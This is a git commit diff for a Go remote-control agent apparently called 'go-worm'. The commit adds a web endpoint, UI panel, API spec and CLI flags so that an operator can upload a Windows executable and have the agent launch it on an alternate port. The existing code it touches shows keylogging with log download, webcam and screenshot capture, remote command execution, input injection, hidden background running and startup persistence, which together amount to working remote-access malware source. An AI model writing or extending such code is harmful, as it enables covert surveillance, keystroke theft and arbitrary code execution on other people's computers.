feat(update): add update deployment via web UI
- Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI
This commit is contained in:
+19
-6
@@ -28,9 +28,19 @@ type Agent struct {
|
|||||||
startedAt time.Time
|
startedAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
func New() (*Agent, error) {
|
// Config controls agent startup. Zero values use environment defaults.
|
||||||
|
type Config struct {
|
||||||
|
ListenAddr string
|
||||||
|
Parallel bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func New(cfg Config) (*Agent, error) {
|
||||||
|
addr := strings.TrimSpace(cfg.ListenAddr)
|
||||||
|
if addr == "" {
|
||||||
|
addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
|
||||||
|
}
|
||||||
a := &Agent{
|
a := &Agent{
|
||||||
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
|
addr: addr,
|
||||||
startedAt: time.Now(),
|
startedAt: time.Now(),
|
||||||
}
|
}
|
||||||
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
||||||
@@ -40,11 +50,13 @@ func New() (*Agent, error) {
|
|||||||
}
|
}
|
||||||
a.root = resolved
|
a.root = resolved
|
||||||
}
|
}
|
||||||
guard, err := instance.Acquire()
|
if !cfg.Parallel {
|
||||||
if err != nil {
|
guard, err := instance.Acquire()
|
||||||
return nil, err
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
a.guard = guard
|
||||||
}
|
}
|
||||||
a.guard = guard
|
|
||||||
input.EnableDPIAwareness()
|
input.EnableDPIAwareness()
|
||||||
if err := keylog.Start(); err != nil {
|
if err := keylog.Start(); err != nil {
|
||||||
helpers.Log.Printf("keylog start: %v", err)
|
helpers.Log.Printf("keylog start: %v", err)
|
||||||
@@ -84,6 +96,7 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||||
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||||
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||||
|
mux.HandleFunc("/api/v1/update", a.handleUpdate)
|
||||||
|
|
||||||
a.server = &http.Server{
|
a.server = &http.Server{
|
||||||
Addr: a.addr,
|
Addr: a.addr,
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/update"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
|
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -567,3 +568,42 @@ func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
|||||||
w.Header().Set("Accept-Ranges", "bytes")
|
w.Header().Set("Accept-Ranges", "bytes")
|
||||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
|
||||||
|
if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
upload, header, err := r.FormFile("file")
|
||||||
|
if err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer upload.Close()
|
||||||
|
if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
saved, nextAddr, err := update.Deploy(a.addr, upload)
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Printf("update deploy: %v", err)
|
||||||
|
if strings.Contains(err.Error(), "not available") {
|
||||||
|
helpers.WriteError(w, http.StatusConflict, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||||
|
"ok": true,
|
||||||
|
"path": saved,
|
||||||
|
"listen_address": nextAddr,
|
||||||
|
"previous_listen_address": a.addr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -33,6 +33,7 @@
|
|||||||
let webcamRunning = false;
|
let webcamRunning = false;
|
||||||
let selectedLogName = "";
|
let selectedLogName = "";
|
||||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||||
|
let currentListen = "";
|
||||||
|
|
||||||
function showError(message) {
|
function showError(message) {
|
||||||
errorEl.textContent = message || "";
|
errorEl.textContent = message || "";
|
||||||
@@ -129,6 +130,8 @@
|
|||||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||||
];
|
];
|
||||||
setStartup(Boolean(data.startup_enabled));
|
setStartup(Boolean(data.startup_enabled));
|
||||||
|
currentListen = data.listen_address || "";
|
||||||
|
syncUpdateMeta();
|
||||||
statusFields.replaceChildren(
|
statusFields.replaceChildren(
|
||||||
...fields.map(([label, value]) => {
|
...fields.map(([label, value]) => {
|
||||||
const item = document.createElement("div");
|
const item = document.createElement("div");
|
||||||
@@ -601,6 +604,31 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function alternatePort(addr) {
|
||||||
|
const match = String(addr || "").match(/:(\d+)$/);
|
||||||
|
const port = match ? Number(match[1]) : 5032;
|
||||||
|
return port === 5032 ? 5033 : 5032;
|
||||||
|
}
|
||||||
|
|
||||||
|
function syncUpdateMeta() {
|
||||||
|
const meta = document.getElementById("update-meta");
|
||||||
|
if (!meta) return;
|
||||||
|
if (!currentListen) {
|
||||||
|
meta.textContent = "Refresh status to see the current listen address.";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deployUpdate(file) {
|
||||||
|
const form = new FormData();
|
||||||
|
form.set("file", file);
|
||||||
|
const res = await api("/api/v1/update", { method: "POST", body: form });
|
||||||
|
const data = await res.json();
|
||||||
|
const result = document.getElementById("update-result");
|
||||||
|
result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`;
|
||||||
|
}
|
||||||
|
|
||||||
async function runCommand() {
|
async function runCommand() {
|
||||||
const command = document.getElementById("exec-command").value.trim();
|
const command = document.getElementById("exec-command").value.trim();
|
||||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||||
@@ -706,6 +734,19 @@
|
|||||||
document.getElementById("exec-run").addEventListener("click", () => {
|
document.getElementById("exec-run").addEventListener("click", () => {
|
||||||
runCommand().catch((err) => showError(err.message));
|
runCommand().catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
document.getElementById("update-deploy").addEventListener("click", () => {
|
||||||
|
const picker = document.getElementById("update-picker");
|
||||||
|
const file = picker.files[0];
|
||||||
|
if (!file) {
|
||||||
|
showError("choose a .exe file first");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
deployUpdate(file)
|
||||||
|
.then(() => {
|
||||||
|
picker.value = "";
|
||||||
|
})
|
||||||
|
.catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
document.getElementById("log-refresh").addEventListener("click", () => {
|
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||||
listKeylogs().catch((err) => showError(err.message));
|
listKeylogs().catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -713,6 +713,7 @@
|
|||||||
<button data-tab="video" type="button">Video</button>
|
<button data-tab="video" type="button">Video</button>
|
||||||
<button data-tab="webcam" type="button">Webcam</button>
|
<button data-tab="webcam" type="button">Webcam</button>
|
||||||
<button data-tab="exec" type="button">Command</button>
|
<button data-tab="exec" type="button">Command</button>
|
||||||
|
<button data-tab="update" type="button">Update</button>
|
||||||
<button data-tab="logs" type="button">Logs</button>
|
<button data-tab="logs" type="button">Logs</button>
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
@@ -879,6 +880,21 @@
|
|||||||
<pre id="exec-out"></pre>
|
<pre id="exec-out"></pre>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<section id="update" class="panel">
|
||||||
|
<div class="panel-head">
|
||||||
|
<div>
|
||||||
|
<h2>Deploy update</h2>
|
||||||
|
<p class="lede">Upload a new <code>win64_mp.exe</code>. The current instance keeps running; the new build starts on the alternate port (5032 ↔ 5033).</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<p id="update-meta" class="meta">—</p>
|
||||||
|
<div class="toolbar">
|
||||||
|
<input id="update-picker" type="file" accept=".exe,application/octet-stream" aria-label="Update executable">
|
||||||
|
<button id="update-deploy" class="primary" type="button">Deploy</button>
|
||||||
|
</div>
|
||||||
|
<p id="update-result" class="meta"></p>
|
||||||
|
</section>
|
||||||
|
|
||||||
<section id="logs" class="panel">
|
<section id="logs" class="panel">
|
||||||
<div class="panel-head">
|
<div class="panel-head">
|
||||||
<div>
|
<div>
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
PortPrimary = 5032
|
||||||
|
PortAlternate = 5033
|
||||||
|
UpdatesSubdir = "updates"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AlternateListenAddr returns the other blue-green port (5032 <-> 5033).
|
||||||
|
func AlternateListenAddr(current string) (string, error) {
|
||||||
|
host, portStr, err := net.SplitHostPort(current)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if host == "" {
|
||||||
|
host = "0.0.0.0"
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
next := PortAlternate
|
||||||
|
if port == PortAlternate {
|
||||||
|
next = PortPrimary
|
||||||
|
}
|
||||||
|
return net.JoinHostPort(host, strconv.Itoa(next)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func UpdatesDir() (string, error) {
|
||||||
|
base, err := InstallDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(base, UpdatesSubdir), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestAlternateListenAddr(t *testing.T) {
|
||||||
|
next, err := AlternateListenAddr("0.0.0.0:5032")
|
||||||
|
if err != nil || next != "0.0.0.0:5033" {
|
||||||
|
t.Fatalf("5032 -> %q, %v", next, err)
|
||||||
|
}
|
||||||
|
next, err = AlternateListenAddr("0.0.0.0:5033")
|
||||||
|
if err != nil || next != "0.0.0.0:5032" {
|
||||||
|
t.Fatalf("5033 -> %q, %v", next, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,10 +2,8 @@
|
|||||||
|
|
||||||
package instance
|
package instance
|
||||||
|
|
||||||
func Launch(exe string, args []string) error {
|
import "errors"
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func RestartSelf() error {
|
func Launch(exe string, args []string) error {
|
||||||
return nil
|
return errors.New("launch is only supported on windows")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -230,6 +230,32 @@ func Spec() map[string]any {
|
|||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"/api/v1/update": map[string]any{
|
||||||
|
"post": map[string]any{
|
||||||
|
"summary": "Deploy uploaded agent executable on alternate port",
|
||||||
|
"operationId": "deployUpdate",
|
||||||
|
"description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.",
|
||||||
|
"requestBody": map[string]any{
|
||||||
|
"required": true,
|
||||||
|
"content": map[string]any{
|
||||||
|
"multipart/form-data": map[string]any{
|
||||||
|
"schema": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"required": []string{"file"},
|
||||||
|
"properties": map[string]any{
|
||||||
|
"file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Update launched", ref("UpdateResult")),
|
||||||
|
"400": errResp("Invalid file or executable"),
|
||||||
|
"409": errResp("Alternate port already in use"),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
},
|
||||||
"/api/v1/input/click": map[string]any{
|
"/api/v1/input/click": map[string]any{
|
||||||
"post": map[string]any{
|
"post": map[string]any{
|
||||||
"summary": "Click the desktop",
|
"summary": "Click the desktop",
|
||||||
@@ -350,6 +376,15 @@ func Spec() map[string]any {
|
|||||||
"name": map[string]string{"type": "string"},
|
"name": map[string]string{"type": "string"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"UpdateResult": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]any{
|
||||||
|
"ok": map[string]any{"type": "boolean"},
|
||||||
|
"path": map[string]string{"type": "string"},
|
||||||
|
"listen_address": map[string]string{"type": "string"},
|
||||||
|
"previous_listen_address": map[string]string{"type": "string"},
|
||||||
|
},
|
||||||
|
},
|
||||||
"ExecRequest": map[string]any{
|
"ExecRequest": map[string]any{
|
||||||
"type": "object", "required": []string{"command"},
|
"type": "object", "required": []string{"command"},
|
||||||
"properties": map[string]any{
|
"properties": map[string]any{
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package update
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func deployLaunch(savedPath, nextAddr string) error {
|
||||||
|
return errors.New("deploy is only supported on windows")
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package update
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
|
)
|
||||||
|
|
||||||
|
func deployLaunch(savedPath, nextAddr string) error {
|
||||||
|
args := []string{"-parallel", "-addr", nextAddr, "-skip-install"}
|
||||||
|
if err := instance.Launch(savedPath, args); err != nil {
|
||||||
|
return fmt.Errorf("launch update: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package update
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Deploy saves exe and launches it on the alternate listen port (5032 <-> 5033).
|
||||||
|
func Deploy(currentAddr string, body io.Reader) (savedPath, nextAddr string, err error) {
|
||||||
|
nextAddr, err = config.AlternateListenAddr(currentAddr)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
if err := listenAvailable(nextAddr); err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
dir, err := config.UpdatesDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
name := fmt.Sprintf("update-%s.exe", time.Now().Format("20060102-150405"))
|
||||||
|
savedPath = filepath.Join(dir, name)
|
||||||
|
out, err := os.OpenFile(savedPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
var head [2]byte
|
||||||
|
if _, err := io.ReadFull(body, head[:]); err != nil {
|
||||||
|
_ = out.Close()
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", fmt.Errorf("invalid executable")
|
||||||
|
}
|
||||||
|
if head[0] != 'M' || head[1] != 'Z' {
|
||||||
|
_ = out.Close()
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", fmt.Errorf("file is not a Windows executable")
|
||||||
|
}
|
||||||
|
if _, err := out.Write(head[:]); err != nil {
|
||||||
|
_ = out.Close()
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(out, body); err != nil {
|
||||||
|
_ = out.Close()
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
if err := out.Close(); err != nil {
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := deployLaunch(savedPath, nextAddr); err != nil {
|
||||||
|
_ = os.Remove(savedPath)
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
return savedPath, nextAddr, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func listenAvailable(addr string) error {
|
||||||
|
ln, err := net.Listen("tcp", addr)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("port %s is not available: %w", addr, err)
|
||||||
|
}
|
||||||
|
_ = ln.Close()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package update
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeployRejectsNonPE(t *testing.T) {
|
||||||
|
_, _, err := Deploy("0.0.0.0:5032", bytes.NewReader([]byte("not-exe")))
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -29,10 +29,15 @@ func main() {
|
|||||||
background := flag.Bool("background", false, "spawn detached agent and exit")
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
||||||
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
||||||
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
||||||
|
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
||||||
|
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
||||||
|
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
if err := install.Ensure(); err != nil {
|
if !*skipInstall {
|
||||||
die(err, *foreground)
|
if err := install.Ensure(); err != nil {
|
||||||
|
die(err, *foreground)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if *ensure {
|
if *ensure {
|
||||||
@@ -58,8 +63,9 @@ func main() {
|
|||||||
_ = helpers.AttachLogFile()
|
_ = helpers.AttachLogFile()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel}
|
||||||
for {
|
for {
|
||||||
err := runAgent()
|
err := runAgent(cfg)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -72,7 +78,7 @@ func main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func runAgent() (err error) {
|
func runAgent(cfg agent.Config) (err error) {
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
crashlog.RecordPanic(r)
|
crashlog.RecordPanic(r)
|
||||||
@@ -80,7 +86,7 @@ func runAgent() (err error) {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
a, err := agent.New()
|
a, err := agent.New(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if strings.Contains(err.Error(), "already running") {
|
if strings.Contains(err.Error(), "already running") {
|
||||||
return errAlreadyRunning
|
return errAlreadyRunning
|
||||||
|
|||||||
Reference in New Issue
Block a user